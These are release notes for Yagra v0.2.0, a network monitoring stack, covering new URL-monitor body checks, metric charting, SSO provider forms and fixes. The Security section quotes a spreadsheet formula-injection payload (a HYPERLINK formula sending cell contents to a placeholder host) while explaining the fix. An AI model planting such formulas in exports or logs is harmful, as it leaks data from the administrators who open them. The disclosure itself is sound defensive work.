v0.2.0 First public beta release, every collected metric visible and chartable, URL monitors that read the body, an SSO form that knows your IdP
📋 Full release notes: RELEASE_NOTES.md
Container images — published to the GitHub Container Registry by CI from this tag:
ghcr.io/horryworks/yagra-core:v0.2.0ghcr.io/horryworks/yagra-poller:v0.2.0ghcr.io/horryworks/yagra-web:v0.2.0
Each is also tagged :latest and with the immutable commit sha fa884fca90c98db65625cf9f2e09a78c3461fce7. Start from DEPLOYMENT.md.
This is Yagra's first public release. Everything up to v0.1.23 was developed in a private
repository and never published; those notes are kept below as the record of how the system got here,
not as releases you could have been running. If you are arriving now, v0.2.0 is the beginning —
there is no upgrade to perform and no earlier published version to upgrade from. The minor bump
rather than 1.0.0 is deliberate: what changed is that the source and the images are public, not
that the API has stopped moving.
Three things worth reading before you deploy it:
- Yagra is in open beta. It is a working stack, but most of what these notes describe has not yet
been validated in anyone else's production network. Run it alongside your existing monitoring
rather than in place of it, and treat the feature list as what is built, not as what has been
proven at scale elsewhere. - Bug reports are the most useful thing you can send, and they go to
GitHub Issues — which is also the only contact
channel for this project, questions and commercial-licensing inquiries included. There is no
contact e-mail address. The one exception is a security vulnerability, which goes through
private vulnerability reporting
rather than a public issue. Pull requests are not being accepted yet — see
CONTRIBUTING.md. - Start from DEPLOYMENT.md, not from
docker-compose.yml. The single-node
compose file is an evaluation stack: default database credentials, an ephemeral key-encryption key
(so stored device credentials do not survive a restart), and a self-signed certificate. What a real
deployment changes is listed there, and the security-relevant essentials are in
SECURITY.md.
New Features
-
URL monitors now record how long the endpoint took to answer, as the new
http_response_time_ms
gauge, shown on the node's Overview and available to thresholds like any other metric. Until now a
URL monitor could say whether an endpoint was up but nothing about whether it was slow — the
probe has always measured this and simply discarded it. Two things worth knowing:- It is time to the response headers, not to a completed body: the probe does not read the
response body. - Nothing is recorded when the endpoint did not answer. A timeout would otherwise appear as a
flat "slow response" for the whole outage, and a latency threshold would page for the same
incidenthttp_upalready covers. - No default threshold is seeded — response latency varies too much between environments for one
to be right. Set one per profile, group or node.
- It is time to the response headers, not to a completed body: the probe does not read the
-
URL monitors can now check the response body for a keyword. A monitor may require that the
body contains a keyword, or that it does not — the case that catches an endpoint answering
200while its body says the service is broken, which availability monitoring structurally cannot
see. Configure it on the node's URL-monitor dialog; it also rides onPUT /api/v1/nodes/{id}/url-checkas the optionalbody_matchobject (pattern,mode,max_bytes)
and is reported by the MCPget_configsurface. What it reports:http_body_match—1satisfied,0not. Abelow 0.5critical threshold is seeded on the
built-in URL profile, so a rule alerts without a second configuration step. Existing monitors
are unaffected: the metric is emitted only for a monitor that carries a rule.http_body_truncated— diagnostic,1when the body outgrew the read budget.- A body larger than the read budget reports "not satisfied", never "satisfied". Truncating
silently would let amust not containrule report healthy about a page whose error text sits
past the cut. Raisemax_bytes(default 65536, up to 1048576) if a legitimate keyword is
landing beyond it. - Matching is plain, case-sensitive substring matching — not a regular expression.
GET/POSTonly; a body rule on aHEADmonitor is refused (body_match_needs_body), because
a HEAD response has no body and the rule could never be satisfied.- Rolling upgrades: a poller that has not been upgraded is not sent a content-checked monitor
at all, and the withheld count is recorded onyagra_specs_withheld_total{cap="http-body"}. An
older poller would drop the rule, never read the body, and reporthttp_up = 1— a green
dashboard for the exact outage the rule was guarding against — so the check pauses rather than
reporting a result it did not compute. The same gatehttp-authalready uses.
-
URL monitors can now record numbers out of a JSON response body, under metric names the
operator chooses — a queue depth, a replication lag, a worker count. Configure up to 8 per monitor
on the URL-monitor dialog, or as thejson_extractarray onPUT /api/v1/nodes/{id}/url-check(metric+path); the extracted values appear on the node's
Overview and can carry thresholds like any other metric.- The path is dot-separated and names exactly one value —
data.queue.depth,
items.0.value(items[0].valueis accepted and means the same). It is deliberately not
JSONPath: a rule that could select many values would need a reduction nobody asked for. - Numbers, booleans (
true→ 1) and quoted numbers ("42") are recorded. Anything else
records nothing for that poll — never a zero, because a zero is indistinguishable from the
value genuinely being zero. The same applies when the body is not valid JSON or was truncated. - A metric name must be a valid TSDB name and may not be one the monitor already reports
(http_up,http_status_code,http_response_time_ms,ssl_cert_days_to_expiry,
http_body_match,http_body_truncated) — that would overwrite the node's own availability
series. Two rules may not write the same name. - Unlike the keyword check, extraction is not withheld from an older poller: it would record
nothing (a visibly absent series) rather than a wrong reading, and withholding would stop the
whole monitor includinghttp_up.
- The path is dot-separated and names exactly one value —
-
body_max_bytesis a property of the monitor, not of the keyword rule — one body, one read,
one budget, shared by the keyword check and extraction. Default 65536, range 1024–1048576. -
http_response_time_msstill measures time to the response headers even when a body feature
is configured, so the metric means the same thing on every monitor. -
Every metric a node collects is now visible, not just the ones the UI was written to know
about. The node's Collection tab lists them all and charts any of them; until now it showed the
latest value of scalar metrics only, with no history, so an operator who added a vendor table
column could watch it collect successfully and never see a number. The new
GET /api/v1/nodes/{id}/metricsanswers it, and the MCP toollist_node_metricsmirrors it.
Each entry states three things:status—ok(configured and flowing),no_data(configured, nothing has arrived) or
unconfigured(data exists with no collection item). The last is normal rather than a fault:
reachability, the URL and DNS monitors, the neighbour count and values extracted from a
monitored JSON response all come from checks rather than from a collection set, and so were
invisible to every screen driven by that set.snmp_neighbor_countis chartable for the first
time as a result.dimension—none,interface(read those per interface instead) orentity, meaning one
series per table row. Row identity is folded away when the values are collected, so these are
shown as a node-wide maximum and labelled as such rather than implying a per-row breakdown
that cannot be produced.metric_kind— gauge or counter, which decides how it may be charted.
-
A counter can now be charted as a rate.
GET /api/v1/nodes/{id}/metrics/{metric}/rangetakes
rate=true, returning the per-second rate instead of the stored values. There was previously no
way to chart a node-level counter at all: its stored value is an odometer reading, andagg=max
over one draws a rising line that looks like traffic and is not.ratecannot be combined with
agg(rate_with_agg) — a per-entity counter has no node-level rate. -
A new "Metric chart" dashboard widget charts any metric of any node. Pick a node, pick one of
its metrics from the list the device actually reports, and the widget draws the last 6 hours.
Every other card on the board answers a question the catalog decided in advance; this one is for
the metric your devices have and ours do not — a vendor temperature, a value lifted out of a
monitored JSON body. Add it as many times as you like. Two behaviours worth knowing:- It offers only what it can draw honestly. Per-interface metrics are not listed — the node's
Interfaces tab charts those per port, and collapsing eight ports to one line answers a different
question. A counter is charted as a per-second rate, never as its stored value. - A metric that stops being available says so. If the node no longer reports the selected
metric, the widget names it instead of drawing an empty chart.
- It offers only what it can draw honestly. Per-interface metrics are not listed — the node's
-
A new "Top nodes by metric" dashboard widget ranks the whole fleet by any metric name. The
curated Top RTT / CPU / memory cards each rank one thing the catalog chose; this one ranks whatever
you type, current value or trailing-hour peak, so a vendor metric no card covers can still answer
"which of my devices is worst". Three behaviours worth knowing:- The metric is typed, not picked from a list. There is deliberately no fleet-wide metric
catalogue to choose from — enumerating every series across every node is the one query that does
not survive a large fleet. The field suggests the metrics this browser has already seen on nodes
you opened, and accepts anything else. - A counter is refused rather than ranked. Ranking a counter's stored value ranks how long each
node has been up, not how busy it is. Use the interface Top-N cards for traffic and errors, or
chart the counter as a rate on a node. - An empty ranking says why it might be empty. Nothing reporting the metric and a name that
does not match are indistinguishable from the browser, so the message admits both rather than
implying the fleet is idle.
- The metric is typed, not picked from a list. There is deliberately no fleet-wide metric
-
Adding an SSO provider now starts by picking which identity provider it is — Microsoft Entra
ID, Okta, Google Workspace, or "Other" for anything else — and then asks only for what that
product needs. The form used to present eight free-text fields and assume the operator already
knew what their IdP wanted, which was not a safe assumption: the scopes it pre-filled included
groups, and Entra ID rejects any non-standard scope outright, so an Entra deployment never
reached a sign-in page at all. Droppinggroupseverywhere was not the fix either — it is
exactly how Okta delivers group membership. What each product now contributes:- Entra ID asks for the directory (tenant) ID and builds the issuer URL from it. It requests
only the standard OIDC scopes, and says that the groups claim is turned on in the app
registration's token configuration and arrives as group object IDs. - Okta asks for the org domain and builds the issuer URL from it, requesting the
groups
scope its org authorization server serves. A custom authorization server has a different issuer
and belongs under "Other", which the form says. - Google Workspace has one issuer, so there is no URL to enter. Its group→role mapping is
gone, deliberately: Google does not put group membership in the ID token, so a mapping
configured against it could never match. The form explains this and requires a default role,
since without one every sign-in would be denied. - "Other" is the previous form, unchanged, for any other OIDC provider.
- Existing providers are untouched. They list and reopen as "Other", which is what they are —
they were defined field by field. Nothing about how a configured provider signs users in has
changed, and reopening one whose issuer this form does not build leaves it exactly as stored. - The API gains an optional
kindonPOST/PUT /api/v1/settings/oidcand reports it on the
listing (and through the MCPget_configsurface). Omitting it meansgeneric. ⚠️ This has not been exercised against a live Entra, Okta or Google tenant. What each
product accepts is taken from its published documentation.
- Entra ID asks for the directory (tenant) ID and builds the issuer URL from it. It requests
Improvements
- Device health and the metric list on a node's Overview no longer require admin rights. They
were read from the collection-set endpoint, which requires ManageConfig, so a Viewer saw a single
built-in metric and no health gauges at all. They now come from the metric inventory, which is a
read. - The Japanese UI copy was swept end to end. It had accumulated two spellings for the same
terms, English sentence structure carried through the translation, and notation that drifted
between screens. Wording changed on most screens; no behaviour did. The conventions are now
written down so new strings stay consistent. - The scheduler no longer queries
url_checksonce per node per sweep. URL-monitor ids are now
preloaded once a round, the way DNS monitors already were, so a fleet of tens of thousands of
ordinary devices stops paying one database round trip each, every polling round, to discover it
has no URL check. - The WebUI loads the Topology, Troubleshoot and Settings sections on demand. Everything on an
operator's daily path — dashboard, nodes, alerts — still arrives in the first download, but the
~25 screens behind those three sections no longer do, so opening the dashboard stops fetching the
world-map outline, the report registry and seventeen settings pages nobody asked for. Moving
between screens inside a section is unaffected: a section loads once, then behaves as before. - Two fleet-scale paths stopped doing work proportional to the fleet on every round. Neither is
visible on a small deployment; both were the difference between a steady state that costs nothing
and one that does not. The scheduler no longer deep-copies every node's resolved check set — with
its decrypted credentials, OID column lists and route-probe plans — once per pool per sweep just
to discover nothing changed, and the coordinator now holds its registry lock only while reading
membership, so poller heartbeats and the Pollers view no longer queue behind a working-set diff.
Alert evaluation resolves each metric's threshold once per poll result rather than once per
sample, which matters most for a wide SNMP table where one result carries a hundred samples of
the same metric. The dwell window still sees every sample individually — only the repeated
lookup went away. - The Nodes tree no longer rebuilds on every live status update. The status dots arrive over a
stream that flushes for any node in the fleet; the tree was being reconstructed on each flush
even when nothing on screen had moved.
Bug Fixes
- The dashboard summary, the per-group tallies, the network map and the inventory report no longer
disagree with the Nodes page about a node's state. All five surfaces are supposed to apply the
same rule — the alert engine's opinion when it has one, otherwise a recent ICMP sample meansok
— but the rule had been written out by hand in five places and two of them had dropped the
fallback. The visible symptom was a core restart: for the minutes before the first sweep the
dashboard reportedunknownfor the same nodes the Nodes page beside it was showing asok, and
a PDF inventory report generated in that window printedunknowndown the whole column. The rule
now lives in one place. Deliberately unchanged: the fleet health timeline still records the
raw engine view, so the post-restart gap remains visible in history — a historical record should
say what was actually being monitored at that moment. - A Cisco Meraki organization collecting the
inventorytier showed the raw key
meraki.tier.inventoryinstead of a label. The API accepts all four tiers and the org list
prints what is stored, but only three of them had ever been given a name. The cadence dialog
still offers three checkboxes — inventory is a reconciliation triggered from "Import devices",
not a recurring collection, so a checkbox for it would promise polling that never happens.
Security
- CSV exports can no longer carry a spreadsheet formula that executes when the file is opened.
The audit log records the username submitted to a failed login, so anyone who can reach the
sign-in page could plant a cell reading=HYPERLINK("http://…"&A1,"Click")and have it evaluated
by the administrator who later exports and opens the log; the Troubleshoot exports carry
device-supplied strings with the same problem. RFC 4180 quoting does not help — a spreadsheet
strips the quotes and then evaluates the text. Values beginning with=,+,-,@, TAB or CR
are now prefixed with an apostrophe so the cell is read as text. A value that is entirely a
negative number (-5,-0.31) is exempt and still exports as a number: the Troubleshoot reports
export correlation coefficients, and neutralizing those would leave a column that is text for half
its rows and numeric for the other half — which sorts wrong rather than merely looking wrong. - PDF report rendering no longer has access to the container's filesystem. Reports are rendered
bywkhtmltopdf, which was being invoked with--enable-local-file-accessfor no reason: the
generated document is self-contained (inline styles, inline SVG charts, no images, no links, no
url()), so nothing in a report ever needed to read a file. The flag is what would turn an
escaping mistake in the device-supplied text of a report into a local-file read, so it is now
passed as--disable-local-file-accessrather than left to a default that a future version could
flip back. - The test transport that reports every device reachable is no longer compiled into the shipped
binaries. It is now behind a feature that only test builds enable.